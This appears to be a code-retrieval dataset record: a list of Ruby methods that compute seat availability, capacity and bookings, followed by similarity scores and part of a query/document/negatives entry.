[ "def seats_available_over_total\n\t\t\"#{seats_available} / #{total_student}\"\n\tend", "def remaining_seats\n auditorium.seating_capacity - tickets.count\n end", "def total_seats_left\n [self.house_capacity - vouchers.size, 0].max\n end", "def seats_available?\n (capacity - total_enrollments) > 0\n end", "def seats_length\n @seats.length\n end", "def seats_left\n student_limit - students.count\n end", "def seats_available_over_max_backup\n\t\t\"#{seats_available} / #{max_student} + #{backup_student}\"\n\tend", "def num_of_seats_available\n self.movie.capacity > self.movie.seats_sold ? (self.movie.seats_sold += 1) : false\n self.movie.save\n end", "def available_seats\n return -1 if @axes.reduce(false) { |acc, ax| acc || ax.available_seats < 0 }\n\n @axes.reduce(0) { |sum, ax| sum + ax.available_seats }\n end", "def total_seats\n\t\tseats + waitlist_seats\n\tend", "def seats_remaining(counter, capacity)\n capacity - counter\n end", "def seats_waitlisted_same_user_same_tour\n waitlist_same_user_same_tour ? waitlist_same_user_same_tour.num_seats : 0\n end", "def house_capacity\n has_reserved_seating? ? seatmap.seat_count : attributes['house_capacity']\n end", "def availableSeats\n jsonChunk[\"seats\"]\n end", "def seats_booked_same_user_same_tour\n return booking_same_user_same_tour ? booking_same_user_same_tour.num_seats : 0\n end", "def seats_left?\n student_limit == students.count\n end", "def add_passanger\n @seats_available -= 1 unless full?\n end", "def print_seats_unavailable\n puts \"#{@unavailable_seats} Not available, Please select different seats \"\n end", "def availability(seats, time, restaurant, user)\n taken_seats = reservations.where(time: ((time-2.hours+1.minute)..(time+2.hours-1.minute))).sum(:seats)\n puts taken_seats\n taken_seats + seats <= capacity\n end", "def slots_available\n 5 - users.size\n end", "def check_for_unavailable_seats\n @unavailable_seats = (@seat_numbers - eval(\"$AUDI_#{@show_no}_SEATS\")).join(', ')\n end", "def remaining_ads_slots\n #num de anuncios dos pacotes - num de anuncios que possui ativos\n self.max_ads - self.active_ads_count\n end", "def apportion\n 385.times do |n|\n state = find_highest_priority\n @seats[state] += 1\n\n seat_number = 51 + n\n puts \"Assigning Seat #{seat_number} to #{state}\"\n end\n\n puts \"Just missed the cut...\"\n state = find_highest_priority\n puts \"Seat 436 would be assigned to #{state}\"\n\n @seats.each do |state, seats|\n printf(\"%20s\\t%3d\\n\", state, seats)\n end\n end", "def capacity_check(film)\n if film.num_customers_in_film < @capacity\n return \"tickets available\"\n else\n return \"this showing is full\"\n end\n end", "def book_seats_if_available\n check_for_unavailable_seats\n if @unavailable_seats.empty?\n book_selected_seats \n else \n print_seats_unavailable\n book_tickets\n end \n end", "def remaining_slots\n @count = 0\n self.booked_customers.each do |booked_customer|\n @count += booked_customer.number_students.to_i\n end\n return self.cap - @count\n\n end", "def percent_full\n capacity.to_f > 0 ? (accepted_count.to_f / capacity.to_f) * 100 : 0\n end", "def occupied_seats\n return [] unless seatmap\n # basically, collect seat info from all vouchers for this showdate\n vouchers.map(&:seat).compact.map(&:to_s).sort\n end", "def shoe_count\n count = @shoe.count\n positive = count >= 0\n \"Current Deck Count: #{positive ? \"+\" : \"-\"}#{count.abs}\"\n end", "def full?\n\t\t\t\t@available <= 0\n\t\t\tend", "def flight_seats\n # identify total number of seats per row\n seats_per_row = @@aircraft_data.find {|a| a[:name] == self.aircraft}[:seat_arrangement].split(\"-\").map(&:to_i).inject(0){|sum,x| sum + x }\n # total rows in plane capacity / seats_per_row\n total_rows = @@aircraft_data.find {|a| a[:name] == self.aircraft}[:max_capacity] / seats_per_row\n # identify the seats that have already been booked\n booked_seats = self.bookings.pluck(:seat)\n all_seats = []\n # loop to create all of the seat numbers based on the aircraft\n i = 1\n while i <= total_rows do\n @@seat_letters.find {|s| s[:seat_count] == seats_per_row}[:letters].each{|letter| all_seats << \"#{i}#{letter}\"}\n i +=1\n end\n # build the array for all the seats that have not been booked\n available_seats = all_seats.filter{|seat| seat if booked_seats.exclude?(seat)}\n end", "def is_available?\n count_available > 0\n end", "def available?\n self.available_count > 0\n end", "def full?\n bike_count >= capacity\n end", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def present_count\n __present__(*planets_and_counts { |p| p.connection(format) })\n end", "def ensure_sufficient_seats\n if !!@course_batch && !@course_batch.seats_available?\n redirect_to :back, alert: 'Sorry. There are not enough seats left. Please select some different batch.'\n end\n end", "def is_full\n self.openings == 0\n end", "def counting_recommendation\n count = @shoe.count\n if count <= 1\n @cold\n elsif count <= 10\n @warm\n else\n @hot\n end\n end", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def full?\n slots_available.zero?\n end", "def seat_availability(bus,bus_start_date)\n \n Booking.where(start_date: bus_start_date, bus_id: bus.id).count < bus.capacity # seat capacity.\n \n end", "def check_capacity(room, guests)\n if guests <= room.capacity\n return \"You can sing!\"\n else\n return \"Room is not available!\"\n end\n end", "def show\n\t\t#insert logic to rule out seats taken\n\t\trender :index\n\tend", "def player_capacity\n 2\n end", "def availability_summary #This should be changed to availability_summary_count\n unavailable = 0\n available = 0\n awaiting = 0\n\n self.cached_teamsheet_entries.each do |tse|\n if tse.response_status == 0\n unavailable += 1\n elsif tse.response_status == 1\n available += 1\n elsif tse.response_status == 2\n awaiting += 1\n end\n end\n\n { unavailable: unavailable, available: available, awaiting: awaiting }\n end", "def get_available_slots\n # Return the number of unused sessions\n return @sessions_limit - get_status['running_sessions']\n end", "def validate_total_seats\n errors.add(:seats, 'Posti non disponibili') if seats_count + seats.to_i > max_seats\n end", "def count\n @deck.count\n end", "def order_limit\n available_seats = 0\n Theater.all.each do |theater|\n available_seats = theater.seats.to_i\n #available_seats -= order_sum\n end \n available_seats \n end", "def show_free_seats(array_of_seats)\n array_of_seats.each_with_index do |row, row_index|\n row.each_with_index do |seat, seat_index|\n if seat == nil\n puts \"Row #{ row_index + 1 } seat #{ seat_index + 1 } is free.\"\n end\n end\n end\nend", "def available_cards\n (@deck.size + board.size)\n end", "def available_tables(sets_of_dishes, places_per_table)\n# dishes / seats\n return sets_of_dishes / places_per_table\nend", "def slots_available\r\n begin\r\n serverinfo = $ts.command('serverinfo')\r\n res_slots = serverinfo['virtualserver_reserved_slots']\r\n max_clients = serverinfo['virtualserver_maxclients']\r\n clients_online = serverinfo['virtualserver_clientsonline']\r\n max_clients - (res_slots + clients_online)\r\n rescue\r\n puts '[ERROR] problem getting available slots'\r\n raise 'slots_available'\r\n end\r\nend", "def number_readied\n readied_cards.count\n end", "def price(seatClass)\n seatInfo = $adameus.seats(date, flightCode, seatClass).chomp\n #puts seatInfo\n if (seatInfo.size != 8) then return nil end \n @seats = seatInfo[0,3]\n @seatprice = (seatInfo[3,5]).to_i\n \n if (@seats.to_i < 1) then return nil\n else return @seatprice\n end\n end", "def avarage_calories_burned\n total_workout_calories / set_sport_by_user.count\n rescue\n 0\n end", "def count\n @deck.size\n end", "def availability_by_timeslot(ts)\n self.capacity - self.bookings_total_by_timeslot(ts)\n end", "def remaining\n max - used\n end", "def strikes_for_game(game)\n pitches = pitcher_pitches_for_game(game)\n stats = PitchStats.new(pitches)\n stats.strikes.size + stats.inplay.size\n end", "def show\n @seats = @flight.seats\n end", "def servings_left\n \t\tremaining = self.servings\n \t\tself.line_items.each do |line_item|\n \t\t\tremaining -= (line_item.quantity_purchased) if line_item.shopping_cart && line_item.shopping_cart.active\n \t\tend\n \t\tif remaining <= 0\n \t\t\tself.active = false\n \t\tend\n \t\tremaining\n\tend", "def available_slots()\n return @size - @used_spaces\n end", "def baller_count\n active.count\n end", "def available(inventory)\n component.available(inventory, nil) / quantity\n end", "def count_ai_battler\n count = -1\n @battle_info.parties.each do |bank|\n count += bank.size\n end\n log_debug(\"Found #{count} AI\")\n return count\n end", "def slots_message\n I18n.mixer.slots_overall(@limit)\n end", "def display_status\n system('clear')\n\n puts \"#{player1.name}\\'s board:\".green\n player1.board.display\n\n puts \"\\n\\n#{player2.name}\\'s board:\".green\n player2.board.display\n\n if player1.board.count == 1\n puts \"\\n\\n#{player1.name} has #{player1.board.count} ship remaining\"\n else\n puts \"\\n\\n#{player1.name} has #{player1.board.count} ships remaining\"\n end\n\n if player2.board.count == 1\n puts \"#{player2.name} has #{player2.board.count} ship remaining\"\n else\n puts \"#{player2.name} has #{player2.board.count} ships remaining\"\n end\n end", "def space_available\n used = 0\n if recordings.any?\n used = recordings.map(&:full_size).reduce(:+) \n end\n\n total_space - used\n end", "def seat_taken?(num)\n players.map(&:seat).include?(num)\n end", "def head_count1\n return @room1_guests.count()\n end", "def cards_needed\n [@size, 5].min\n end", "def how_many_available_on(day, hour)\n who_is_available_on(day, hour).size\n end", "def seats\n document.fetch(:seats, nil)\n end", "def count\r\n @pitches.size\r\n end", "def count_available(reload_variant = true)\n self.reload if reload_variant\n count_on_hand - count_pending_to_customer\n end", "def available_agent_summary\n { total: @free_agents.count }\n end", "def capacity\n\t\tcapacity = 0\n\t\trooms.all.each do |room|\n\t\t\tcapacity += room.capacity\n\t\tend\n\t\tcapacity\n\tend", "def show_appearances\n shows.length\n end", "def spicy_count\n self.spicies.size\n end", "def available_units\n return 0 if status == NO_SPACE\n\n 999\n end", "def ks_for_game(game)\n atbats = game.atbats.select {|atbat| atbat.pitcher_id == gameday_id.to_i}\n k_atbats = atbats.select {|atbat| atbat.strike == 3} \n k_atbats.size\n end", "def space_available\n\t\tspaceTaken = 0\n\t\t#add up the size of all items inside player's inventory\n\t\tfor i in @inventory\n\t\t\tspaceTaken = spaceTaken + i.size\n\t\tend #for\n\t\t#return the difference between what's carried and the max capacity\n\t\treturn @capacity - spaceTaken\n\tend", "def count_available(reload_variant = true)\n self.reload if reload_variant\n count_on_hand - count_pending_to_customer\n end", "def capacity_available\n if self.restaurant.availability(self.party_size, self.time) < 0\n errors.add(:party_size, \"Inadequate capacity\")\n end\n end", "def available\n\t\tavailable = 0\n\t\tDonationLine.unexpired.where(product_id: id).where(inventory_id: nil).map { |line| available += line.quantity}\n\t\tavailable\n\tend", "def number_of_bidders(entry)\n if entry.newly_created?\n content_tag :span, \"Entry is still OFFLINE\", class: 'muted'\n else\n count = entry.unique_bidders\n if count > 0\n content_tag :b, (pluralize count, 'bidder')\n else\n if entry.is_online\n content_tag :b, \"Still Online\", class: 'muted'\n else\n content_tag :b, \"Sorry, no bidders\", class: 'muted'\n end\n end\n end\n end", "def is_waitlist_full?\n\t\tself.is_full? && (!self.show.waitlist || self.reserved_seats >= self.show.total_seats)\n\tend", "def room_entry(capacity)\n if capacity <= 20\n return \"Welcome to the CCC Elvis Room\"\n else\n return \"I'm sorry we are at capacity you could try one of our other rooms\"\n end\n end", "def test_capacity_of_karaoke_room\n assert_equal(6, @room.capacity)\n end", "def print_report\n # total_bikes = @fleet.count \n # broken_bikes = @fleet.count {|b| b.is_broken?}\n # working_bikes = total_bikes-broken_bikes\n total_people = @people.count\n total_stations = @stations.count\n # show_stations = @stations.each do {|name, capacity| puts \"#{name}, #{capacity}\"}\n #tell me its name and capcity\n # puts \"Total bikes: #{total_bikes}\"\n # puts \"Broken bikes: #{broken_bikes}\"\n # puts \"Working bikes: #{working_bikes}\"\n puts \"Total people: #{total_people}\"\n # puts \"People with bikes: #{people_with_bikes}\"\n puts \"People without bikes #{people_without_bikes.count}\" \n puts \"Number of stations: #{total_stations}\" \n puts \"Stations:\"\n @stations.each do |station|\n puts \"#{station.name}, #{station.capacity}, #{station.bikes.count}\"\n end\n # result = \"total bikes #{total_bikes}\\n\" + \"broken bikes #{broken_bikes}\\n\" + \"working bikes #{working_bikes}\\n\"\n # result + \"total people #{total_people}\\n\" + \"people with bikes #{people_with_bikes}\\n\" + \"people without bikes #{people_without_bikes}\\n\" + \"number of stations #{total_stations}\\n\" + \"stations #{show_stations}\"\n end", "def full?\n turn_count == 9\n end", "def num_stories\n return @num_stories_above_grade + @num_stories_below_grade\n end", "def tickets_left?()\n #tickets_sold = customer_count()\n @tickets_sold < @capacity\nend", "def available\r\n @available\r\n end", "def user_selected_min_seats\n if flash[:filters].length.positive? && flash[:filters][:min_seats.to_s]\n return flash[:filters][:min_seats.to_s]\n else\n return 0\n end\n end", "def limit_tickets()\n sql = \"SELECT COUNT(tickets.*) FROM tickets WHERE tickets.screen_id = $1\"\n values = [@id]\n tickets_count = SqlRunner.run(sql, values)[0]\n if tickets_count['count'].to_i >= capacity\n return \"Sorry, tickets are sold out\"\n end\n end", "def sellings_count\n sellings.count\n end", "def new_caps_count_gt_2400\n NewCap.all(:seq_id => self.seq_id, :greater_than_2400_away => true).count\n end" ]
[ "0.7427944", "0.7204475", "0.7068076", "0.7061295", "0.7044148", "0.6988808", "0.6986715", "0.69829905", "0.6982625", "0.6860024", "0.66717607", "0.63720167", "0.6363908", "0.6338503", "0.62845594", "0.6258467", "0.6226915", "0.6166556", "0.6139675", "0.605597", "0.60485965", "0.60225767", "0.6014307", "0.6001958", "0.5985098", "0.5975108", "0.59234625", "0.59219", "0.59207946", "0.58693635", "0.584029", "0.58397233", "0.5828331", "0.5820761", "0.5789772", "0.5778298", "0.5755957", "0.5740537", "0.5739548", "0.5680282", "0.5665131", "0.56541896", "0.5653685", "0.565127", "0.559998", "0.5586681", "0.5581789", "0.5511074", "0.549551", "0.54951924", "0.54593", "0.5446734", "0.5446067", "0.54314905", "0.5424408", "0.54243076", "0.54198134", "0.54001373", "0.5398705", "0.5388399", "0.5384746", "0.53819805", "0.538053", "0.5378203", "0.53744906", "0.53694457", "0.53569484", "0.5352676", "0.53505117", "0.5348059", "0.5342054", "0.53391826", "0.5337027", "0.5327716", "0.5326178", "0.5324413", "0.5321714", "0.5317315", "0.5315307", "0.5313093", "0.5310135", "0.5310048", "0.5304341", "0.5300919", "0.5292049", "0.5283731", "0.5281578", "0.5278824", "0.52754647", "0.5268879", "0.5258922", "0.524986", "0.5245785", "0.5239609", "0.5236756", "0.52351177", "0.5225724", "0.52244884", "0.52217466", "0.5216117" ]
0.7476062
0
status for current event, for css styling
def join_status(user) userevent = UserEvent.where(event_id: self.id, user_id: user.id).first if userevent userevent.join_status ? "joined" : (is_expired? ? "expired" : "nojoin") else "nojoin" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def status\n end", "def status\n end", "def status\n end", "def status\n end", "def set_event_status( event, status )\n event.instance_exec( namespace ) { |namespace| set_status(status, namespace) }\n end", "def status_effect; end", "def get_status_string(status)\n case status\n when :started, :scheduled then \"#{Tty.green}#{status}#{Tty.reset}\"\n when :stopped, :none then \"#{Tty.default}#{status}#{Tty.reset}\"\n when :error then \"#{Tty.red}error #{Tty.reset}\"\n when :unknown then \"#{Tty.yellow}unknown#{Tty.reset}\"\n end\n end", "def do_status\n return pretty_status(current_status)\n end", "def status; end", "def status; end", "def status; end", "def status; end", "def status; end", "def status; end", "def status; end", "def status; end", "def status; end", "def css_status(status = nil)\n CSS_STATUSES[status || object.status]\n end", "def status\n @browser.span(:css => field_cell_css(:name) + \" .status\").when_present.text\n end", "def status(*) end", "def attending_status(event)\n return 'admin' if self.owner_of?(event)\n a = Attendance.where(user_id: self.id, event_id: event.id).first\n a && a.status\n end", "def updateStatus(event)\n parent = event.target.parentNode\n\n # update state from data attributes\n for i in 0...parent.attributes.length\n attr = parent.attributes[i]\n $data[attr.name[5..-1]] = attr.value if attr.name.start_with? 'data-'\n end\n\n # unindent action\n @status.gsub!(/\\n {14}/, \"\\n\")\n\n # set baseline to current value\n @baseline = @status\n\n # show dialog\n jQuery('#updateStatusForm').modal(:show)\n end", "def status\n \"#{@description} #{@status}\"\n end", "def fetch_status\n return :green if fetch_successful?\n last_statuses = fetch_events.sorted.limit(Repository::RED_STATUS_THRESHOLD).pluck(:successful).uniq\n return :unknown if last_statuses.empty?\n return :yellow if last_statuses.length > 1\n last_statuses[0] ? :green : :red\n end", "def status_to_css\n if status != \"Active\" || docks_available < 1\n \"error\"\n elsif docks_available == 1\n \"warning\"\n else\n \"success\"\n end\n end", "def statuses; end", "def status\n @status\n end", "def status\n @status\n end", "def display_event_style\n x = self.event_id\n y = Event.find_by_id(x)\n z = y.style_id\n a = Style.find_by_id(z)\n return a.style\n end", "def update_task_status(event) # :nodoc:\n\t if event.success?\n\t\tplan.task_index.add_state(self, :success?)\n\t\tself.success = true\n\t elsif event.failure?\n\t\tplan.task_index.add_state(self, :failed?)\n\t\tself.success = false\n @failure_reason ||= event\n @failure_event ||= event\n end\n\n\t if event.terminal?\n\t\t@terminal_event ||= event\n\t end\n\t \n\t if event.symbol == :start\n\t\tplan.task_index.set_state(self, :running?)\n\t\tself.started = true\n\t\t@executable = true\n\t elsif event.symbol == :stop\n\t\tplan.task_index.remove_state(self, :running?)\n plan.task_index.add_state(self, :finished?)\n\t\tself.finished = true\n self.finishing = false\n\t @executable = false\n\t end\n\tend", "def get_status\n\t\tstatus\n\tend", "def color_status(status)\n\ttd = \"<td style='cursor: pointer; color: #\"\n\n\tcase status[0..1]\n\twhen \"Go\"\n\t\ttd += \"060'>\"\n\twhen \"Sa\"\n\t\ttd += \"5d0dff' class='service'>\"\n\twhen \"Pl\", \"Se\"\n\t\ttd += \"996600' class='service'>\"\n\twhen \"De\"\n\t\ttd += \"990033' class='service'>\"\n\tend\n\n\ttd + status + \"</td>\"\nend", "def determine_status_color( status )\n case status\n when 'pending' then return '#cea61b'\n when 'error' then return '#bd2c00'\n when 'success' then return '#6cc644'\n end\nend", "def current?\n %w(open running paused).include?(self.event_status)\n end", "def status\n if self.started_at.nil? and self.stopped_at.nil?\n 'Pending'\n elsif self.started_at.present? and self.stopped_at.nil?\n 'Active'\n elsif self.started_at.present? and self.stopped_at.present?\n 'Completed'\n end\n end", "def status=(status); end", "def status\n super\n end", "def update_task_status(event) # :nodoc:\n if event.symbol == :start\n plan.task_index.set_state(self, :running?)\n @starting = false\n @pending = false\n @started = true\n @running = true\n @executable = true\n end\n\n if event.success?\n plan.task_index.add_state(self, :success?)\n @success = true\n elsif event.failure?\n plan.task_index.add_state(self, :failed?)\n @failed = true\n @failure_reason ||= event\n @failure_event ||= event\n end\n\n @terminal_event ||= event if event.terminal?\n\n if event.symbol == :stop\n plan.task_index.remove_state(self, :running?)\n plan.task_index.add_state(self, :finished?)\n @running = false\n @finishing = false\n @finished = true\n @executable = false\n end\n nil\n end", "def status\n @status\n end", "def status\n @status\n end", "def status\n case status_id\n when ReferenceData::PO_ITEM_PREPARING\n \"<em style='color:red'>Ordering</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_CENTRAL\n \"<em style='color:brown'>Sent to Central</em>\"\n when ReferenceData::PO_ITEM_SENT_TO_SUPPLIER\n \"<em style='color:green'>Sent to PO</em>\"\n when ReferenceData::PO_ITEM_UNCATEGORIZED\n \"<em style='color:red'>Uncategorized</em>\"\n end\n \n end", "def current_status\n case status\n when NOT_STARTED\n return 'Game not started yet'.freeze\n when RUNNING\n return 'Game is running'.freeze\n when WIN\n return 'Game is won'.freeze\n when DRAWN\n return 'Game is drawn'.freeze\n when ABANDONED\n return 'Game is abandoned'.freeze\n end\n end", "def status\n first_element_text('status')\n end", "def status\n case @status\n when 0 then :off\n when 1 then :on\n end\n end", "def status(color)\n code = case color\n when 'green'\n 2\n when 'yellow'\n 1\n when 'red'\n 0\n end\n \"#{code} (#{color})\"\n end", "def status\n STATUSES[self.status_id]\n end", "def statecolor(state)\n\t\tif state == \"running\"\n\t\t\t\"color: green;\".html_safe\n\t\telsif state == \"poweroff\"\n\t\t\t\"color: gray;\".html_safe\n\t\telse\n\t\t\t\"color: yellow;\".html_safe\n\t\tend\n\tend", "def status\n @__status\n end", "def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end", "def status()\n puts @status\n end", "def status_text\n i = view_status\n if i == 1\n return self.text_before\n elsif i == 2\n return self.text_during\n else\n return self.text_after\n end\n end", "def css_class\n \"flag-status #{state_name}\"\n end", "def badge_color\n case status\n when 'not-started'\n 'secondary'\n when 'in-progress'\n 'info'\n when 'complete'\n 'success'\n end\n end", "def last_status; end", "def on_status(&block)\n @on_status = block\n end", "def on_status(&block)\n @on_status = block\n end", "def status\n info['status']\n end", "def status_object\n @status\n end", "def status_string\n case self.entry_status\n when 1: 'Draft'\n when 2: 'Publish'\n when 4: 'Scheduled'\n end\n end", "def status\n @status ||= STATUS[mapping_for(:status)]\n end", "def status\n @status ||= STATUS[mapping_for(:status)]\n end", "def css_classes\n s = \"meeting status-#{status}\"\n s << ' created-by-me' if User.current.logged? && author_id == User.current.id\n s\n end", "def status\n\t\treturn @status\n\tend", "def property_status(last_booking_event)\n last_booking_event.nil? || last_booking_event.type == 'BookingCheckedOut' ? 'empty' : 'occupied'\n end", "def status_style(checker)\n \"background-color: #{checker.status.nil? ? :green : :red}\"\n end", "def status\n STATUSES[self.status_id || 0]\n end", "def status\n info[\"Status\"]\n end", "def generate_color(status)\n if status == :completed\n :green\n elsif status == :failed\n :red\n else\n :yellow\n end\n end", "def status (job)\n content_tag :span, :class => (case job.status when 1 then 'label label-important' when 2 then 'label label-success' when 3 then 'label' end) do\n case job.status\n when 1 \n 'No Publicado'\n when 2\n 'Publicado'\n when 3\n 'Finalizado'\n end\n end\n end", "def status\n data[:status]\n end", "def status\n\t\treturn \"Pending\" if !completed\n\t\t\"Completed\"\n\tend", "def evented\n @evented = true\n end", "def status_notice\n today = Date.current\n status_notice = \"#{self.name}\"\n case\n when today > start_on && today < finished_on\n status_notice << \" is RUNNING NOW.\"\n when today == start_on\n status_notice << \" starts TODAY.\"\n when today < start_on\n status_notice << \" starts on #{start_on.strftime(\"%A, %d %B, %Y\")}.\"\n when today > finished_on\n status_notice << \" is completed.\"\n when start_on.nil?\n status_notice << \" has no start date.\"\n else\n status_notice << '.'\n end\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def status\n @attributes[:status]\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end", "def status\n return @status\n end" ]
[ "0.64846885", "0.64846885", "0.64846885", "0.64846885", "0.64695346", "0.64674544", "0.6450711", "0.64133316", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.64088076", "0.6401566", "0.63875383", "0.63588667", "0.6286592", "0.6268469", "0.62674564", "0.6250452", "0.6231775", "0.61869365", "0.6185072", "0.6185072", "0.6176675", "0.6147365", "0.6143525", "0.6116353", "0.61154044", "0.6107231", "0.60889375", "0.60811174", "0.60754144", "0.60723907", "0.60679823", "0.60679823", "0.60636455", "0.6061839", "0.6058368", "0.60553706", "0.60513467", "0.60476696", "0.6039771", "0.60329986", "0.6023967", "0.6000168", "0.5995438", "0.59898394", "0.59892684", "0.5963555", "0.5958637", "0.5958637", "0.594898", "0.5944984", "0.5943189", "0.5939987", "0.5939987", "0.59397167", "0.5939632", "0.5934623", "0.59317976", "0.59309274", "0.59014815", "0.5884835", "0.5876245", "0.587445", "0.58692884", "0.58658504", "0.5864887", "0.58461773", "0.58461773", "0.58461773", "0.58461773", "0.58460903", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849", "0.5845849" ]
0.0
-1
student view of seats available
def seats_available_over_total "#{seats_available} / #{total_student}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n\t\t#insert logic to rule out seats taken\n\t\trender :index\n\tend", "def index\n @seats = Seat.all\n end", "def index\n @seats = Seat.all\n end", "def show\n @seats = @flight.seats\n end", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def seats_available\n\t\tavailable = total_student - UserEvent.joined_students_count(self.id)\n\n\t\tif available > 0\n\t\t\tavailable\n\t\telse\n\t\t\t\"FULL\"\n\t\tend\n\tend", "def seats\n respond_to?(:constituencyGroupHasHouseSeat) ? constituencyGroupHasHouseSeat : []\n end", "def index\n @seat_bookings = SeatBooking.all\n end", "def show\n render json: Seances::UseCases::AvailableSeats.new.call(id: params[:id])\n end", "def index\n @class_seats = ClassSeat.all\n end", "def occupied_seats\n return [] unless seatmap\n # basically, collect seat info from all vouchers for this showdate\n vouchers.map(&:seat).compact.map(&:to_s).sort\n end", "def seats\n document.fetch(:seats, nil)\n end", "def availableSeats\n jsonChunk[\"seats\"]\n end", "def index\n @seatclasses = Seatclass.all\n end", "def show\n @seat = Seat.find(params[:id])\n respond_with(@seat)\n end", "def show\n @seat = Seat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seat }\n end\n end", "def show\n @seats = @customer.seats\n @tickets = @customer.tickets\n @orders = @customer.reservations\n end", "def show\n if logged_student?\n @reservations = Reservation.joins(\"INNER JOIN rooms ON rooms.id = reservations.room_id \n INNER JOIN users ON reservations.user_id = users.id\n INNER JOIN slots ON reservations.slot_id = slots.id\n INNER JOIN libraries ON rooms.library_id = libraries.id\").\n where(user_id: session[:user_id]).\n where('reservation_date >= ?', DateTime.yesterday)\n else if logged_admin?\n @reservations = Reservation.joins(\"INNER JOIN rooms ON rooms.id = reservations.room_id \n INNER JOIN users ON reservations.user_id = users.id\n INNER JOIN slots ON reservations.slot_id = slots.id\n INNER JOIN libraries ON rooms.library_id = libraries.id\").\n where('reservation_date >= ?', DateTime.yesterday)\n end\n end\n end", "def seats\n seats = @flight_execution.seats.includes(ticket: [:passenger])\n .page(page).per(per)\n json_response(PageDecorator.decorate(seats)\n .as_json(passenger_details: true), :ok)\n end", "def index\n @ipc_seats = IpcSeat.all\n end", "def index\n @driver_trip_seats = DriverTripSeat.all\n end", "def book_selected_seats\n find_total_sale_price_of_seats(@seat_numbers)\n find_other_taxes\n update_total_sales_array\n update_audi_seats\n print_sales_receipt\n give_next_options_to_continue\n end", "def index\n @seats = Seat.all.order(table: :asc, seat: :asc)\n end", "def show\n @seat = Seat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seat }\n end\n end", "def plane_seats(category_id)\n seats.where(seat_category_id: category_id)\n end", "def index\n @study_reservations = StudyReservation.all\n end", "def seats_available?\n (capacity - total_enrollments) > 0\n end", "def book_seats_if_available\n check_for_unavailable_seats\n if @unavailable_seats.empty?\n book_selected_seats \n else \n print_seats_unavailable\n book_tickets\n end \n end", "def flight_seats\n # identify total number of seats per row\n seats_per_row = @@aircraft_data.find {|a| a[:name] == self.aircraft}[:seat_arrangement].split(\"-\").map(&:to_i).inject(0){|sum,x| sum + x }\n # total rows in plane capacity / seats_per_row\n total_rows = @@aircraft_data.find {|a| a[:name] == self.aircraft}[:max_capacity] / seats_per_row\n # identify the seats that have already been booked\n booked_seats = self.bookings.pluck(:seat)\n all_seats = []\n # loop to create all of the seat numbers based on the aircraft\n i = 1\n while i <= total_rows do\n @@seat_letters.find {|s| s[:seat_count] == seats_per_row}[:letters].each{|letter| all_seats << \"#{i}#{letter}\"}\n i +=1\n end\n # build the array for all the seats that have not been booked\n available_seats = all_seats.filter{|seat| seat if booked_seats.exclude?(seat)}\n end", "def sit\n @seat = Seat.find(params[:id])\n\n if session[:user_id] == nil\n flash[:alert] = \"You must login to take a seat\"\n end\n \n # Check if seat is available\n if @seat.user_id == nil \n \n # Find all seats with user id first and remove\n @seatsOccupied = Seat.where(:user_id=>session[:user_id])\n \n if @seatsOccupied != nil\n @seatsOccupied.each do |s|\n # Unoccupy all seats currently occupied\n s.user_id = nil\n s.save\n end\n end \n \n # Occupy a seat and save\n @seat.user_id = session[:user_id] \n @seat.save\n\n else\n # Can't sit, page will rerender with flash alert\n # TODO: after AJAX implementation, user is not \n # flashed with this message when seat is\n # taken\n flash[:alert] = \"Seat ##{@seat.id} is currently occupied\"\n end\n\n # After attempting to sit, get all seats to render\n @seats = Seat.all \n\n respond_to do |format|\n format.html {redirect_to(seats_url)}\n format.xml {render :xml => @seats }\n format.js {render 'sit.js.erb', :object => @seats} # Seats AJAXified\n end\n\n end", "def seats_left\n student_limit - students.count\n end", "def seatmap\n # return the seatmap for this production, and array of UNAVAILABLE seats for this performance\n showdate = Showdate.find(params[:id]) \n if showdate.has_reserved_seating?\n render :json => Seatmap.seatmap_and_unavailable_seats_as_json(showdate)\n else\n render :json => {'map' => nil}\n end\n end", "def seats_booked_same_user_same_tour\n return booking_same_user_same_tour ? booking_same_user_same_tour.num_seats : 0\n end", "def show\n authorize! :show, @reservation\n @user = current_user\n @reservations = Reservation.select{|res| res.teacher_id == @user.id}\n end", "def seatmap\n # return the seatmap for this production, and array of UNAVAILABLE seats for this performance.\n # if 'selected' is passed, it is a comma-separated list of full seat labels to show as\n # already-selected seats (if the seatmap workflow in question respects it).\n # if this is an 'admin' level user, make sure \"holdback\" restrictions are ignored.\n showdate = Showdate.find(params[:id]) \n restrict_to_zone = params[:zone]\n already_selected = params[:selected].to_s.split(/\\s*,\\s*/)\n if showdate.has_reserved_seating?\n render :json => 